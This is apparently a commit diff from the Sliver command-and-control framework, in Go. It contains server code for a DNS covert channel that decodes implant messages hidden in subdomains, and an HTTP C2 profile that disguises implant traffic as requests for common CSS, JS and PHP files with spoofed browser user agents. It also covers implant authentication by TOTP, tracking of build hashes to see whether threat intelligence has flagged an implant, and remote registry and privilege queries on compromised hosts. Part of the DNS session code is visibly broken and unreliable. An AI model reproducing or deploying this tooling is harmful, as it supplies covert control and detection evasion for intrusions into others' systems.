// Returns true if the requested domain is a c2 subdomain, and the domain it matched with
func isC2SubDomain(domains []string, reqDomain string) (bool, string) {
for _, parentDomain := range domains {
if dns.IsSubDomain(parentDomain, reqDomain) {
dnsLog.Infof("'%s' is subdomain of '%s'", reqDomain, parentDomain)
return true, parentDomain
}
}
dnsLog.Infof("'%s' is NOT subdomain of any %v", reqDomain, domains)
return false, ""
}
// The query is C2, pass to the appropriate record handler this is done
// so the record handler can encode the response based on the type of
// record that was requested
func handleC2(domain string, req *dns.Msg) *dns.Msg {
subdomain := req.Question[0].Name[:len(req.Question[0].Name)-len(domain)]
if strings.HasSuffix(subdomain, ".") {
subdomain = subdomain[:len(subdomain)-1]
}
dnsLog.Infof("processing req for subdomain = %s", subdomain)
switch req.Question[0].Qtype {
case dns.TypeTXT:
return handleTXT(domain, subdomain, req)
case dns.TypeA:
return handleA(domain, subdomain, req)
default:
}
return nil
}
// ---------------------------
// Canary Record Handler
// ---------------------------
// Canary -> valid? -> trigger alert event
func handleCanary(req *dns.Msg) *dns.Msg {
reqDomain := strings.ToLower(req.Question[0].Name)
if !strings.HasSuffix(reqDomain, ".") {
reqDomain += "." // Ensure we have the FQDN
}
canary, err := db.CanaryByDomain(reqDomain)
if err != nil {
return nil
}
resp := new(dns.Msg)
resp.SetReply(req)
if canary != nil {
dnsLog.Warnf("DNS canary tripped for '%s'", canary.ImplantName)
if !canary.Triggered {
// Defer publishing the event until we're sure the db is sync'd
defer core.EventBroker.Publish(core.Event{
Session: &core.Session{
Name: canary.ImplantName,
},
Data: []byte(canary.Domain),
EventType: consts.CanaryEvent,
})
canary.Triggered = true
canary.FirstTrigger = time.Now()
}
canary.LatestTrigger = time.Now()
canary.Count++
generate.UpdateCanary(canary)
}
// Respond with random IPs
switch req.Question[0].Qtype {
case dns.TypeA:
resp.Answer = append(resp.Answer, &dns.A{
Hdr: dns.RR_Header{Name: req.Question[0].Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
A: randomIP(),
})
default:
}
return resp
}
func randomIP() net.IP {
randBuf := make([]byte, 4)
secureRand.Read(randBuf)
// Ensure non-zeros with various bitmasks
return net.IPv4(randBuf[0]|0x10, randBuf[1]|0x10, randBuf[2]|0x1, randBuf[3]|0x10)
}
// ---------------------------
// C2 Record Handlers
// ---------------------------
func handleTXT(domain string, subdomain string, req *dns.Msg) *dns.Msg {
q := req.Question[0]
resp := new(dns.Msg)
resp.SetReply(req)
checksum, dnsMsg := parseC2Query(subdomain)
if dnsMsg == nil {
dnsLog.Errorf("Failed to parse TXT query")
return nil
}
// Execute action based on message type
txtRecords := []string{}
switch dnsMsg.Type {
case dnspb.DNSMessageType_DOMAIN_KEY:
blockID := handleDomainKeyQuery(domain, dnsMsg)
data, _ := proto.Marshal(&dnspb.DNSMessage{
N: checksum,
Data: blockID,
})
record := string(new(encoders.Base64).Encode(data))
txtRecords = append(txtRecords, record)
}
txt := &dns.TXT{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 0},
Txt: txtRecords,
}
resp.Answer = append(resp.Answer, txt)
return resp
}
func handleA(domain string, subdomain string, req *dns.Msg) *dns.Msg {
q := req.Question[0]
resp := new(dns.Msg)
resp.SetReply(req)
checksum, dnsMsg := parseC2Query(subdomain)
if dnsMsg == nil {
dnsLog.Errorf("Failed to parse A query")
return nil
}
switch dnsMsg.Type {
case dnspb.DNSMessageType_NOP:
break
}
checksumBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(checksumBuf, checksum)
resp.Answer = append(resp.Answer, &dns.A{
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0},
A: checksumBuf,
})
return resp
}
// ---------------------------
// C2 Handler
// ---------------------------
// This parses the C2 message and performs actions based on the request
// the response is a CRC32 of the encoded data in the message
func parseC2Query(subdomain string) (uint32, *dnspb.DNSMessage) {
subdomainData := strings.Join(strings.Split(subdomain, "."), "")
dnsLog.Debugf("Subdomain = %v, Data = %v", subdomain, subdomainData)
dnsMsg := decodeMessage(subdomainData)
if dnsMsg == nil {
return 0, nil
}
checksum := crc32.Checksum(dnsMsg.Data, crc32.IEEETable)
return checksum, dnsMsg
}
func decodeMessage(subdomainData string) *dnspb.DNSMessage {
encoders := detectEncoding(subdomainData)
query := &dnspb.DNSMessage{}
for _, encoder := range encoders {
dnsLog.Debugf("Attempting to decode subdomain data with %v", encoder)
data, err := encoder.Decode([]byte(subdomainData))
if err != nil {
dnsLog.Debugf("Decode attempt failed %s, continue ...", err)
continue
}
err = proto.Unmarshal(data, query)
if err != nil {
dnsLog.Debugf("Failed to parse pb %s, continue ...", err)
continue
}
return query
}
return nil
}
// This function attempts to detect the most likely encoder used by the implant
// we return a list of encoders in order of most likely to least likely
func detectEncoding(subdomainData string) []encoders.Encoder {
// Our version of base32 is missing chars: i, l, o, s
// if any of these appear the message must be base62
base62Chars := strings.ContainsAny(subdomainData, "silo") // "silo" simply appeases my spell checker
if base62Chars {
return []encoders.Encoder{new(encoders.Base62)}
}
// Okay now we detect if the message only contains lower case letters
// our base32 encoder only uses lower case but a resolver could have
// messed with the domain letter cases on the way over to us. So we
// say it's likely base62 if it contains a mix but fallback to base32
if strings.ContainsAny(subdomainData, "ABCDEFGHIJKLMNOPQRSTUVWXYZ") {
return []encoders.Encoder{new(encoders.Base62), new(encoders.Base32)}
} else {
return []encoders.Encoder{new(encoders.Base32), new(encoders.Base64)}
}
}
// --------------------------- DNS HANDLERS ---------------------------
func encodeSendBlock(domain string, data []byte) *Block {
encodedData := new(encoders.Base64).Encode(data)
blockData := [][]byte{}
for index := 0; index < len(encodedData); {
end := index + 254
if len(encodedData) < end {
end = len(encodedData)
}
blockData = append(blockData, encodedData[index:end])
index += 254
}
return &Block{
ID: blockID(),
Size: len(data),
data: blockData,
Started: time.Now(),
Mutex: sync.RWMutex{},
}
}
func handleDomainKeyQuery(domain string, query *dnspb.DNSMessage) []byte {
domainKey, err := getDomainKeyFor(domain)
if err != nil {
dnsLog.Errorf("Failed to find domain key for '%s' %s", domain, err)
return nil
}
block := encodeSendBlock(domain, domainKey)
sendBlocksMutex.Lock()
defer sendBlocksMutex.Unlock()
sendBlocks[block.ID] = block
return []byte{}
}
// Returns an confirmation value (e.g. exit code 0 non-0) and error
func startDNSSession(msgID uint32, domain string) ([]string, error) {
dnsLog.Infof("Complete session init message received, reassembling ...")
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
dnsLog.Infof("Failed to fetch RSA private key")
return []string{"1"}, err
}
publicKeyBlock, _ := pem.Decode([]byte(publicKeyPEM))
dnsLog.Infof("RSA Fingerprint: %s", fingerprintSHA256(publicKeyBlock))
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
privateKey, err := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
if err != nil {
dnsLog.Infof("Failed to decode RSA private key")
return []string{"1"}, err
}
dnsLog.Debugf("Session Init: %v", encryptedSessionInit)
sessionInitData, err := cryptography.RSADecrypt(encryptedSessionInit, privateKey)
if err != nil {
dnsLog.Infof("Failed to decrypt session init msg")
return []string{"1"}, err
}
sessionInit := &sliverpb.DNSSessionInit{}
proto.Unmarshal(sessionInitData, sessionInit)
dnsLog.Infof("Received new session in request")
session := &core.Session{
ID: core.NextSessionID(),
Transport: "dns",
RemoteAddress: "n/a",
Send: make(chan *sliverpb.Envelope, 16),
RespMutex: &sync.RWMutex{},
Resp: map[uint64]chan *sliverpb.Envelope{},
}
session.UpdateCheckin()
aesKey, _ := cryptography.AESKeyFromBytes(sessionInit.Key)
sessionID := dnsSessionID()
dnsLog.Infof("Starting new DNS session with id = %s", sessionID)
dnsSessionsMutex.Lock()
dnsSessions[sessionID] = &DNSSession{
ID: sessionID,
Session: session,
Key: aesKey,
replay: map[string]bool{},
}
dnsSessionsMutex.Unlock()
encryptedSessionID, _ := cryptography.GCMEncrypt(aesKey, []byte(sessionID))
return result, nil
}
func fingerprintSHA256(block *pem.Block) string {
hash := sha256.Sum256(block.Bytes)
b64hash := base64.RawStdEncoding.EncodeToString(hash[:])
return strings.TrimRight(b64hash, "=")
}
// SessionIDs are public parameters in this use case
// so it's only important that they're unique
func dnsSessionID() string {
insecureRand.Seed(time.Now().UnixNano())
sessionID := []rune{}
for i := 0; i < sessionIDSize; i++ {
index := insecureRand.Intn(len(dnsCharSet))
sessionID = append(sessionID, dnsCharSet[index])
}
return string(sessionID)
}
func blockID() uint32 {
randBuf := make([]byte, 4)
secureRand.Read(randBuf)
return binary.LittleEndian.Uint32(randBuf)
}
func getDomainKeyFor(domain string) ([]byte, error) {
_, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
certs.C2ServerGenerateRSACertificate(domain)
}
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, domain)
if err != nil {
return nil, err
}
return certPEM, nil
}
File renamed without changes.
+302
View File
@@ -0,0 +1,302 @@
package configs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
)
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
)
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
}
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
return h.generateChromeUserAgent(goos, goarch)
}
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
if h.ImplantConfig.UserAgent == "" {
switch goos {
case "windows":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "linux":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "darwin":
switch goarch {
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
}
} else {
return h.ImplantConfig.UserAgent
}
// Default is a generic Windows/Chrome
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
// RandomImplantConfig - Randomly generate a config
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return &HTTPC2ImplantConfig{
UserAgent: h.ImplantConfig.UserAgent,
MaxFiles: h.ImplantConfig.MaxFiles,
MaxPaths: h.ImplantConfig.MaxPaths,
CssFiles: h.ImplantConfig.RandomCssFiles(),
CssPaths: h.ImplantConfig.RandomCssPaths(),
JsFiles: h.ImplantConfig.RandomJsFiles(),
JsPaths: h.ImplantConfig.RandomJsPaths(),
TxtFiles: h.ImplantConfig.RandomTxtFiles(),
TxtPaths: h.ImplantConfig.RandomTxtPaths(),
PngFiles: h.ImplantConfig.RandomPngFiles(),
PngPaths: h.ImplantConfig.RandomPngPaths(),
PhpFiles: h.ImplantConfig.RandomPhpFiles(),
PhpPaths: h.ImplantConfig.RandomPhpPaths(),
}
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
Headers []string `json:"headers"`
Cookies []string `json:"cookies"`
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
// .js = poll
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// CSS files and paths
CssFiles []string `json:"css_files"`
CssPaths []string `json:"css_paths"`
// JS files and paths
JsFiles []string `json:"js_files"`
JsPaths []string `json:"js_paths"`
// Txt files and paths
TxtFiles []string `json:"txt_files"`
TxtPaths []string `json:"txt_paths"`
// Png files and paths
PngFiles []string `json:"png_files"`
PngPaths []string `json:"png_paths"`
// Php files and paths
PhpFiles []string `json:"php_files"`
PhpPaths []string `json:"php_paths"`
}
func (h *HTTPC2ImplantConfig) RandomCssFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.CssFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomCssPaths() []string {
return h.randomSample(h.CssPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomJsFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.JsFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomJsPaths() []string {
return h.randomSample(h.JsPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomTxtFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.TxtFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomTxtPaths() []string {
return h.randomSample(h.TxtPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPngFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PngFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPngPaths() []string {
return h.randomSample(h.PngPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPhpFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PhpFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPhpPaths() []string {
return h.randomSample(h.PhpPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []string {
count := insecureRand.Intn(len(values))
if count < min {
count = min
}
if max < count {
count = max
}
sample := []string{}
for i := 0; len(sample) < count; i++ {
index := (count + i) % len(values)
sample = append(sample, values[index])
}
return sample
}
var (
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
defaultHTTPC2Config = &HTTPC2Config{
ServerConfig: &HTTPC2ServerConfig{
Cookies: []string{"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS"},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
CssFiles: []string{"bootstrap.css", "bootstrap.min.css", "vendor.css"},
CssPaths: []string{"css", "styles", "style", "stylesheets", "stylesheet"},
JsFiles: []string{"bootstrap.js", "bootstrap.min.js", "jquery.min.js", "jquery.js"},
JsPaths: []string{"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts", "javascript"},
TxtFiles: []string{"robots.txt", "sample.txt", "readme.txt", "example.txt"},
TxtPaths: []string{"static", "www", "assets", "text", "docs", "sample"},
PngFiles: []string{"favicon.png", "sample.png", "example.png"},
PngPaths: []string{"static", "www", "assets", "images", "icons"},
PhpFiles: []string{"login.php", "signin.php", "api.php", "samples.php", "rpc.php"},
PhpPaths: []string{"php", "api", "upload", "actions", "rest", "v1", "async"},
},
}
)
// GetHTTPC2ConfigPath - File path to http-c2.json
func GetHTTPC2ConfigPath() string {
appDir := assets.GetRootAppDir()
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
return httpC2ConfigPath
}
// GetHTTPC2Config - Get the current HTTP C2 config
func GetHTTPC2Config() *HTTPC2Config {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return defaultHTTPC2Config
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return defaultHTTPC2Config
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return defaultHTTPC2Config
}
return config
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
return err
}
return ioutil.WriteFile(saveTo, data, 0600)
}
+3 -3
View File
@@ -36,7 +36,7 @@ var (
sessions: map[uint32]*Session{},
mutex: &sync.RWMutex{},
}
hiveID = uint32(0)
rollingSessionID = uint32(0)
// ErrUnknownMessageType - Returned if the implant did not understand the message for
// example when the command is not supported on the platform
@@ -211,8 +211,8 @@ func (s *sessions) Remove(sessionID uint32) {
// NextSessionID - Returns an incremental nonce as an id
func NextSessionID() uint32 {
newID := hiveID + 1
hiveID++
newID := rollingSessionID + 1
rollingSessionID++
return newID
}
+66 -1
View File
@@ -30,6 +30,14 @@ import (
"crypto/sha256"
"errors"
"io"
"io/ioutil"
"os"
"path"
"time"
"github.com/bishopfox/sliver/server/assets"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
const (
@@ -38,11 +46,15 @@ const (
// GCMNonceSize - 96 bit nonces for GCM
GCMNonceSize = 12
// TOTPDigits - Number of digits in the TOTP
TOTPDigits = 8
TOTPPeriod = uint(30)
)
var (
// ErrInvalidKeyLength - Invalid key length
ErrInvalidKeyLength = errors.New("Invalid length")
ErrInvalidKeyLength = errors.New("invalid length")
)
// AESKey - 256 bit key
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
}
return plaintext, nil
}
// TOTPOptions - Customized totp validation options
func TOTPOptions() totp.ValidateOpts {
return totp.ValidateOpts{
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
Skew: uint(1),
}
}
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
// is for the implant to prove it was generated by this server. To that end we simply
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
// you'd have to extract the totp secret from a binary generated by the server.
func TOTPServerSecret() (string, error) {
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
return totpGenerateSecret(totpSecretPath)
} else {
data, err := ioutil.ReadFile(totpSecretPath)
return string(data), err
}
}
// ValidateTOTP - Validate a TOTP code
func ValidateTOTP(code string) (bool, error) {
secret, err := TOTPServerSecret()
if err != nil {
return false, err
}
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
if err != nil {
return false, err
}
return valid, nil
}
func totpGenerateSecret(saveTo string) (string, error) {
otpSecret, err := totp.Generate(totp.GenerateOpts{
Issuer: "foo",
AccountName: "bar",
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
})
if err != nil {
return "", err
}
secret := otpSecret.Secret()
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
return secret, err
}
+13
View File
@@ -25,6 +25,7 @@ package db
import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
@@ -33,6 +34,18 @@ var (
ErrRecordNotFound = gorm.ErrRecordNotFound
)
// ImplantConfigByID - Fetch implant build by name
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
config := models.ImplantConfig{}
err := Session().Where(&models.ImplantConfig{
ID: uuid.FromStringOrNil(id),
}).First(&config).Error
if err != nil {
return nil, err
}
return &config, err
}
// ImplantBuilds - Return all implant builds
func ImplantBuilds() ([]*models.ImplantBuild, error) {
builds := []*models.ImplantBuild{}
+8 -3
View File
@@ -34,8 +34,12 @@ type ImplantBuild struct {
CreatedAt time.Time `gorm:"->;<-:create;"`
Name string `gorm:"unique;"`
// Checksum stores the MD5 sum of an implant binary
Checksum string
// Checksums stores of the implant binary
MD5 string
SHA1 string
SHA256 string
// Burned indicates whether the implant
// has been seen on threat intel platforms
Burned bool
@@ -68,7 +72,6 @@ type ImplantConfig struct {
GOARCH string
// Standard
// Name string
CACert string
Cert string
Key string
@@ -127,6 +130,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
// ToProtobuf - Convert ImplantConfig to protobuf equiv
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
config := &clientpb.ImplantConfig{
ID: ic.ID.String(),
GOOS: ic.GOOS,
GOARCH: ic.GOARCH,
+32 -5
View File
@@ -35,6 +35,8 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/gogo"
"github.com/bishopfox/sliver/server/log"
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.Cert = string(sliverCert)
config.Key = string(sliverKey)
otpSecret, err := cryptography.TOTPServerSecret()
if err != nil {
return "", err
}
// Generate wg Keys as needed
if config.WGc2Enabled {
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.WGServerPubKey = serverPubKey
}
err = ImplantConfigSave(config)
if err != nil {
return "", err
}
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
binDir := path.Join(projectGoPathDir, "bin")
os.MkdirAll(binDir, 0700)
@@ -599,17 +611,32 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
buf := bytes.NewBuffer([]byte{})
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
// Render code
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
// --------------
// Render Code
// --------------
sliverCodeTmpl := template.New("sliver")
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
"GenerateUserAgent": func() string {
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
},
}).Parse(sliverGoCode)
if err != nil {
buildLog.Errorf("Template parsing error %s", err)
return "", err
}
err = sliverCodeTmpl.Execute(buf, struct {
Name string
Config *models.ImplantConfig
Name string
Config *models.ImplantConfig
OTPSecret string
HTTPC2Config *configs.HTTPC2ImplantConfig
}{
name,
config,
otpSecret,
configs.GetHTTPC2Config().RandomImplantConfig(),
})
if err != nil {
buildLog.Error(err)
buildLog.Errorf("Template execution error %s", err)
return "", err
}
+1 -1
View File
@@ -6,7 +6,7 @@ import (
"path/filepath"
"strings"
"github.com/binject/go-donut/donut"
"github.com/Binject/go-donut/donut"
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
+29 -3
View File
@@ -20,6 +20,8 @@ package generate
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
@@ -34,6 +36,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/watchtower"
"gorm.io/gorm/clause"
)
var (
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
return buildsDir, nil
}
// ImplantConfigSave - Save only the config to the database
func ImplantConfigSave(config *models.ImplantConfig) error {
dbSession := db.Session()
result := dbSession.Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&config)
if result.Error != nil {
return result.Error
}
return nil
}
// ImplantBuildSave - Saves a binary file into the database
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
if err != nil {
return err
}
sum := md5.Sum(data)
hash := hex.EncodeToString(sum[:])
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
buildsDir, err := getBuildsDir()
if err != nil {
return err
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
implantBuild := &models.ImplantBuild{
Name: name,
ImplantConfig: (*config),
Checksum: hash,
MD5: md5Hash,
SHA1: sha1Hash,
SHA256: sha256Hash,
}
watchtower.AddImplantToWatchlist(implantBuild)
result := dbSession.Create(&implantBuild)
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
}
func computeHashes(data []byte) (string, string, string) {
md5Sum := md5.Sum(data)
md5Hash := hex.EncodeToString(md5Sum[:])
sha1Sum := sha1.Sum(data)
sha1Hash := hex.EncodeToString(sha1Sum[:])
sha256Sum := sha256.Sum256(data)
sha256Hash := hex.EncodeToString(sha256Sum[:])
return md5Hash, sha1Hash, sha256Hash
}
// ImplantFileFromBuild - Saves a binary file into the database
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
buildsDir, err := getBuildsDir()
-4
View File
@@ -27,8 +27,6 @@ var (
srcFiles = []string{
"constants/constants.go",
"encoders/base32.go",
"encoders/base62.go",
"encoders/base64.go",
"encoders/combos.go",
"encoders/encoders.go",
@@ -167,8 +165,6 @@ var (
genericSrcFiles = []string{
"constants/constants.go",
"encoders/base32.go",
"encoders/base62.go",
"encoders/base64.go",
"encoders/combos.go",
"encoders/encoders.go",
+7 -9
View File
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
}
func registerSessionHandler(session *core.Session, data []byte) {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Warnf("error decoding message: %v", err)
if session == nil {
return
}
if session == nil {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Errorf("Error decoding message: %s", err)
return
}
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
// Parse Register UUID
sessionUUID, err := uuid.Parse(register.Uuid)
if err != nil {
// Generate Random UUID
sessionUUID = uuid.New()
sessionUUID = uuid.New() // Generate Random UUID
}
session.Name = register.Name
session.Hostname = register.Hostname
session.UUID = sessionUUID.String()
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
}
func pingHandler(session *core.Session, data []byte) {
handlerLog.Infof("ping from session %d", session.ID)
handlerLog.Debugf("ping from session %d", session.ID)
}
+10
View File
@@ -118,3 +118,13 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
}
return resp, nil
}
// GetPrivs - gRPC interface to get privilege information from the current process
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
resp := &sliverpb.GetPrivs{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+20
View File
@@ -35,3 +35,23 @@ func (rpc *Server) RegistryCreateKey(ctx context.Context, req *sliverpb.Registry
}
return resp, nil
}
// RegistryListSubKeys - gRPC interface to list the sub keys of a registry key
func (rpc *Server) RegistryListSubKeys(ctx context.Context, req *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) {
resp := &sliverpb.RegistrySubKeyList{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// RegistryListSubKeys - gRPC interface to list the sub keys of a registry key
func (rpc *Server) RegistryListValues(ctx context.Context, req *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) {
resp := &sliverpb.RegistryValuesList{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+2 -2
View File
@@ -21,8 +21,8 @@ var (
func update(implantBuild *models.ImplantBuild) {
if watcher != nil && initialized {
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
watcher.Add(implantBuild.Name, implantBuild.Checksum)
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
watcher.Add(implantBuild.Name, implantBuild.MD5)
watchtowerLog.Debugf("Implant added to the watch list")
}
}
-44
View File
@@ -1,44 +0,0 @@
package encoders
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
